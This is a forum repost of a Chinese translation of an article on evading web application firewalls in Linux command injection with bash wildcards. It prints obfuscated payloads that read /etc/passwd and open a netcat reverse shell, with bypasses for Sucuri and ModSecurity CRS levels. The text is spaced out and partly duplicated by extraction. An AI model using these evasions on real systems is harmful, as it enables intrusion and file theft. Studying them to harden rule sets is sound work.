搜索

[12247] 2018-01-17_WAF绕过技巧浅谈

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2018-01-17_WAF绕过技巧浅谈 W A F 绕 过 技 巧 浅 谈 s e c i s t   F r e e B u f   2 0 1 8 - 0 1 - 1 7 远 程 命 令 执 行 漏 洞 是 远 程 命 令 执 行 漏 洞 是 W e b 应 用 中 常 见 的 漏 洞 之 一 ， 在 应 用 中 常 见 的 漏 洞 之 一 ， 在 2 0 1 7 年 发 布 的 年 发 布 的 1 0 项 最 严 重 的 项 最 严 重 的 W e b 应 用 程 序 安 全 风 险 列 表 应 用 程 序 安 全 风 险 列 表 中 中 ” 注 入 注 入 “ 毫 不 意 外 的 被 放 在 了 第 一 位 。 毫 不 意 外 的 被 放 在 了 第 一 位 。 当 不 可 信 数 据 作 为 命 令 或 查 询 的 一 部 分 发 送 给 解 释 器 时 ， 会 发 生 注 入 漏 洞 ， 如 S Q L ， N o S Q L ， O S 和 L D A P 注 入 。 攻 击 者 的 恶 意 数 据 可 能 会 诱 使 解 释 器 执 行 意 外 的 命 令 或 在 没 有 适 当 授 权 的 情 况 下 访 问 数 据 。 如 今 市 面 上 的 所 有 W A F 几 乎 都 已 具 备 了 对 R C E 攻 击 的 拦 截 甚 至 阻 断 ， 但 当 它 发 生 在 L i n u x 系 统 中 时 ， 我 们 已 经 有 了 极 为 巧 妙 的 方 法 来 绕 过 W A F 规 则 集 。 作 为 渗 透 测 试 人 员 我 们 最 大 的 朋 友 不 是 “ 狗 ” ， 而 是 “ 通 配 符 ” 。 在 开 始 做 W A P T 之 前 ， 我 想 告 诉 你 一 些 你 可 能 不 知 道 的 关 于 b a s h 和 通 配 符 的 东 西 。 关 于 通 配 符 关 于 通 配 符 B a s h 标 准 通 配 符 （ 也 称 为 通 配 符 模 式 ） 被 各 种 命 令 行 程 序 用 于 处 理 多 个 文 件 。 有 关 标 准 通 配 符 的 更 多 信 息 ， 请 通 过 键 入 m a n   7   g l o b 命 令 查 看 手 册 了 解 。 并 不 是 每 个 人 都 知 道 有 很 多 b a s h 语 法 是 可 以 使 用 问 号 “ ？ ” ， 正 斜 杠 “ / ” ， 数 字 和 字 母 来 执 行 系 统 命 令 的 。 你 甚 至 可 以 使 用 相 同 数 量 的 字 符 获 取 文 件 内 容 。 这 里 我 为 大 家 举 几 个 例 子 ： 例 如 l s 命 令 我 们 可 以 通 过 以 下 语 法 代 替 执 行 ： 用 这 种 语 法 ， 可 以 帮 助 你 做 许 多 你 想 要 做 的 事 情 。 例 如 你 的 攻 击 目 标 位 于 W e b 应 用 放 火 墙 后 ， 并 且 在 其 规 则 内 配 置 了 一 条 ， 用 于 阻 止 所 有 在 G E T 或 P O S T 请 求 参 数 内 包 含 / e t c / p a s s w d 或 / b i n / l s 的 规 则 ， 那 么 此 时 你 尝 试 诸 如 / ? c m d = c a t + / e t c / p a s s w d 这 样 的 请 求 ， 就 会 被 目 标 W A F 拦 截 ， 并 且 你 的 I P 也 将 被 永 远 禁 止 。 但 是 如 果 你 够 幸 运 ， 目 标 W A F 也 没 那 么 ” 偏 执 “ 对 ？ 和 / 这 类 的 字 符 进 行 阻 止 ， 那 么 你 就 可 以 将 你 的 请 求 编 码 成 这 样 ： / ? c m d = % 2 f ? ? ? % 2 f ? ? t % 2 0 % 2 f ? ? ? % 2 f p ? ? s ? ? 正 如 你 在 以 上 截 图 中 看 到 的 ， 显 示 有 3 个 错 误 “ / b i n / c a t   * :   I s   a   d i r e c t o r y ” 。 发 生 这 种 情 况 是 因 为 / ? ? ? / ? t 不 仅 可 以 被 转 换 为 / b i n / c a t ， 还 可 以 是 / d e v / n e t   或   / e t c / a p t 等 。 / ? ? ? / ? s
问 号 通 配 符 只 能 代 表 一 个 字 符 ， 可 以 是 任 何 字 符 。 因 此 ， 如 果 你 知 道 一 个 文 件 名 的 一 部 分 ， 但 不 是 一 个 字 母 ， 那 么 你 可 以 使 用 这 个 通 配 符 。 例 如 l s   * . ? ? ? 将 列 出 当 前 目 录 中 ， 具 有 3 个 字 符 长 度 的 所 有 文 件 。 诸 如 . g i f ， . j p g ， . t x t 之 类 扩 展 名 的 文 件 。 使 用 该 通 配 符 ， 你 可 以 使 用 n e t c a t 来 执 行 一 个 反 向 s h e l l 。 假 设 你 需 要 在 端 口 1 3 3 7 执 行 一 个 反 向 s h e l l 到 1 2 7 . 0 . 0 . 1 （ 通 常 是 n c   - e   / b i n / b a s h   1 2 7 . 0 . 0 . 1   1 3 3 7 ） ， 你 可 以 用 以 下 语 法 来 完 成 ： 以 “ 长 ” 格 式 （ 2 1 3 0 7 0 6 4 3 3 ） 转 换 I P 地 址 1 2 7 . 0 . 0 . 1 ， 可 以 避 免 在 H T T P 请 求 中 使 用 “ . ” 字 符 。 在 我 的 k a l i 中 ， 我 将 使 用 n c . t r a d i t i o n a l ， 而 不 是 没 有 - e 参 数 的 n c ， 以 便 在 连 接 后 执 行 / b i n / b a s h 。 构 造 的 p a y l o a d 如 下 ： 现 在 对 我 们 刚 刚 看 到 的 这 两 个 命 令 做 个 简 单 的 总 结 ： 标 准 ： / b i n / n c   1 2 7 . 0 . 0 . 1   1 3 3 7 b y p a s s ： / ? ? ? / n ?   2 1 3 0 7 0 6 4 3 3   1 3 3 7 使 用 的 字 符 ： /   ?   n   [ 0 - 9 ] 标 准 ： / b i n / c a t / e t c / p a s s w d b y p a s s ： / ? ? ? / ? ? t   / ? ? ? / ? ? s s ? ? 使 用 的 字 符 ： /   ?   t   s 为 什 么 使 用 ？ ？ 代 替 * ？ 这 是 由 于 星 号 （ ） 常 被 广 泛 用 于 评 论 语 法 （ 例 如 / 嘿 ， 我 是 一 条 评 论 / ） ， 许 多 W A F 都 会 对 该 语 法 进 行 阻 止 ， 以 避 免 像 U N I O N + S E L E C T +   1 , 2 , 3   / 这 类 的 S Q L 注 入 语 句 … 枚 举 文 件 和 目 录 我 们 可 以 使 用 e c h o 命 令 吗 ？ 答 案 是 肯 定 的 。 在 文 件 系 统 中 e c h o 命 令 支 持 使 用 通 配 符 枚 举 文 件 目 录 。 例 如 ： e c h o   / / s s * 。 / ? ? ? / n ?   - e   / ? ? ? / b ? ? h   2 1 3 0 7 0 6 4 3 3   1 3 3 7 / ? ? ? / ? c . ? ? ? ? ? ? ? ? ? ? ?   - e   / ? ? ? / b ? ? h   2 1 3 0 7 0 6 4 3 3   1 3 3 7
我 们 可 以 在 具 有 R C E 漏 洞 的 U R L 上 使 用 该 命 令 语 法 ， 以 获 取 目 标 系 统 上 的 文 件 和 目 录 信 息 ， 例 如 ： 但 为 什 么 使 用 通 配 符 （ 特 别 是 问 号 ） 可 以 帮 助 我 们 躲 避 W A F 规 则 集 呢 ？   让 我 从 S u c u r i   W A F 讲 起 ！ S u c u r i   W A F 绕 过 绕 过 测 试 W A F 规 则 集 的 最 好 办 法 是 什 么 ？   毫 无 疑 问 是 创 建 一 个 脆 弱 的 P H P 脚 本 ， 并 尝 试 所 有 可 能 的 技 术 点 ！ 在 上 方 截 图 中 可 以 看 到 ， 在 左 上 方 的 窗 口 中 我 写 了 一 个 极 为 简 易 的 W e b 应 用 程 序 （ 一 个 执 行 命 令 的 P H P 脚 本 ） ：
而 在 左 下 方 的 窗 口 中 可 以 看 到 ， S u c u r i   W A F （ t e s t 1 . u n i c r e d i t . i t ） 对 我 发 起 的 命 令 执 行 请 求 进 行 了 拦 截 ， 并 提 示 ” 检 测 到 R F I / L F I 尝 试 拦 截 “ 。 现 在 我 们 来 看 看 具 有 相 同 请 求 的 右 窗 口 ， 唯 一 不 同 的 是 这 里 我 使 用 了 ” ？ “ 通 配 符 代 替 了 原 来 的 字 符 。 从 结 果 上 可 以 看 到 S u c u r i   W A F 并 未 对 我 们 的 请 求 进 行 拦 截 ， 我 的 脚 本 执 行 了 G E T 给 c 参 数 的 系 统 命 令 。 此 时 我 可 以 轻 松 的 读 取 / e t c / p a s s w d 文 件 内 容 ， 甚 至 可 以 读 取 到 应 用 的 P H P 源 码 ， 使 用 n e t c a t 执 行 反 向 s h e l l （ / ? ? ? / ? c ） ， 还 可 以 执 行 像 c u r l 或 w g e t 这 样 的 命 令 ， 来 获 取 服 务 器 的 真 实 I P 地 址 ， 使 我 能 够 通 过 直 接 连 接 目 标 来 绕 过 W A F 。 O W A S P   M o d S e c u r i t y   核 心 规 则 集 核 心 规 则 集 我 是 M o d S e c u r i t y 的 忠 实 粉 丝 ， 我 认 为 用 于 N g i n x 和 N g i n x 连 接 器 的 新 的 l i b m o d s e c u r i t y （ v 3 ） 是 我 用 来 部 署 W e b 应 用 程 序 防 火 墙 的 最 佳 选 择 。 我 也 是 O W A S P 核 心 规 则 集 的 忠 实 粉 丝 ！ 我 经 常 使 用 到 它 ， 如 果 你 不 了 解 这 个 规 则 集 的 话 ， 可 能 你 已 经 忘 记 了 什 么 叫 做 爱 情 ！ P L 1 ~ P L 4 以 下 注 释 很 好 的 概 述 了 每 个 级 别 在 “ R E Q U E S T   P R O T O C O L   E N F O R C E M E N T ” 规 则 上 的 工 作 原 理 。 可 以 看 到 P L 1 ， 一 个 查 询 字 符 串 只 能 包 含 1 - 2 5 5 范 围 内 的 A S C I I 字 符 ， 直 到 P L 4 在 非 常 小 的 范 围 内 阻 止 所 有 不 是 A S C I I 的 字 符 。
让 我 们 对 所 有 这 些 等 级 做 个 测 试 ！ L e v e l   0   ( P L 0 ) P L 0 级 意 味 着 许 多 规 则 被 禁 用 了 ， 所 以 我 们 的 p a y l o a d 可 以 正 常 被 执 行 。 M o d S e c u r i t y 中 的 等 级 0 意 味 着 “ 高 质 量 的 完 美 规 则 ， 几 乎 没 有 误 报 ” ， 但 也 并 不 是 不 可 绕 过 。 你 可 以 在 n e t n e a 网 站 上 找 到 按 级 别 分 组 的 规 则 列 表 ： h t t p s : / / w w w . n e t n e a . c o m / c m s / c o r e - r u l e - s e t - i n v e n t o r y / L e v e l   1   和 和   2   ( P L 1 ,   P L 2 ) 我 已 经 将 级 别 1 和 2 分 组 ， 因 为 它 们 之 间 的 差 异 （ 如 上 所 示 ） 并 不 会 对 目 标 产 生 影 响 ， 所 有 行 为 都 与 以 下 相 同 。
P L 1 （ 和 P L 2 ） M o d S e c u r i t y 阻 止 了 我 的 请 求 提 示 “ O S 文 件 访 问 尝 试 ” （ 9 3 0 1 2 0 ） 。 但 是 如 果 我 使 用 ？ ？ 作 为 通 配 符 呢 ？ 结 果 成 功 绕 过 了 W A F ： 发 生 这 种 情 况 是 因 为 “ ？ ” ， “ / ” 和 “ 空 格 ” 在 规 则 9 2 0 2 7 1 和 9 2 0 2 7 2 的 可 接 受 的 字 符 范 围 内 。 而 且 使 用 “ ？ ” 而 不 是 命 令 语 法 ， 可 以 避 开 拦 截 操 作 系 统 常 用 命 令 和 文 件 （ 例 如 / e t c / p a s s w d ） 的 “ O S 文 件 ” 过 滤 器 。 L e v e l   3   ( P L 3 ) 这 个 等 级 相 对 于 前 两 个 则 优 化 了 不 少 ， 它 会 阻 止 包 含 “ ？ ” 等 字 符 超 过 n 次 的 请 求 。 我 的 请 求 被 标 志 为 “ 元 字 符 异 常 检 测 警 报   -   重 复 非 单 词 字 符 ” 。 但 我 依 然 可 以 通 过 对 p a y l o a d 简 单 修 改 来 绕 过 它 ： c = / ? i n / c a t + / e t ? / p a s s w ? 正 如 你 所 看 到 的 ， 只 用 3 个 “ ？ ” ， 就 可 以 绕 过 该 级 别 的 过 滤 ， 读 取 目 标 系 统 中 的 p a s s w d 文 件 。 但 需 要 提 醒 大 家 的 是 ， 这 并 不 意 味 着 你 就 要 将 你 的 当 前 等 级 强 制 设 为 4 ， 因 为 这 里 只 是 一 个 测 试 环 境 并 不 是 真 实 的 生 产 环 境 。
L e v e l   4   ( P L 4 ) 对 于 该 级 别 我 没 法 绕 过 ， 至 少 对 我 而 言 是 如 此 。 范 围 a - z   A - Z   0 - 9 之 外 的 所 有 字 符 都 会 被 过 滤 ！ 要 知 道 通 过 命 令 执 行 读 取 文 件 ， 有 9 0 ％ 的 概 率 都 需 要 一 个 “ 空 格 ” 字 符 或 “ 斜 线 ” 。 更 多 奇 淫 技 巧 ， 还 可 以 阅 读 我 关 于 W A F 绕 过 的 第 二 篇 文 章 ： h t t p s : / / m e d i u m . c o m / @ t h e m i d d l e b l u e / w e b - a p p l i c a t i o n - f i r e w a l l - w a f - e v a s i o n - t e c h n i q u e s - 2 - 1 2 5 9 9 5 f 3 e 7 b 0 结 语 结 语 回 到 原 始 的 H T M L 静 态 页 面 … 这 应 该 是 提 高 W e b 应 用 程 序 安 全 性 的 最 快 方 法 ！ 很 难 说 什 么 是 躲 避 W A F 的 最 佳 配 置 ， 或 什 么 等 级 是 最 好 的 。 但 我 可 以 说 ， 恕 我 直 言 我 们 不 应 该 轻 易 信 任 W e b 应 用 上 的 规 则 集 ， 而 是 应 该 根 据 每 个 应 用 的 功 能 配 置 合 适 的 W A F 规 则 。 无 论 如 何 ， 当 你 在 你 的 M o d S e c u r i t y 或 类 似 的 东 西 上 编 写 一 个 新 的 S e c R u l e 时 ， 请 记 住 ， 可 能 会 有 很 多 种 方 法 能 绕 过 你 的 过 滤 规 则 ， 你 需 要 不 停 的 思 考 各 种 绕 过 的 可 能 性 ， 并 不 断 的 去 完 善 它 。 我 的 书 签 我 的 书 签 了 解 更 多 关 于 M o d S e c u r i t y 的 规 则 ： h t t p s : / / g i t h u b . c o m / S p i d e r L a b s / M o d S e c u r i t y / w i k i / R e f e r e n c e - M a n u a l n e t n e a 关 于 A p a c h e   M o d S e c u r i t y 的 文 章 ： h t t p s : / / w w w . n e t n e a . c o m / c m s / a p a c h e - t u t o r i a l s / S p i d e r L a b s   B l o g ： h t t p s : / / w w w . t r u s t w a v e . c o m / R e s o u r c e s / S p i d e r L a b s - B l o g / M o d S e c u r i t y   v 3   G i t h u b ： h t t p s : / / g i t h u b . c o m / S p i d e r L a b s / M o d S e c u r i t y / t r e e / v 3 / m a s t e r 联 系 我 联 系 我 h t t p s : / / t w i t t e r . c o m / M e n i n _ T h e M i d d l e h t t p s : / / g i t h u b . c o m / t h e M i d d l e B l u e * 参 考 来 源 ： m e d i u m ， F B 小 编   s e c i s t   编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理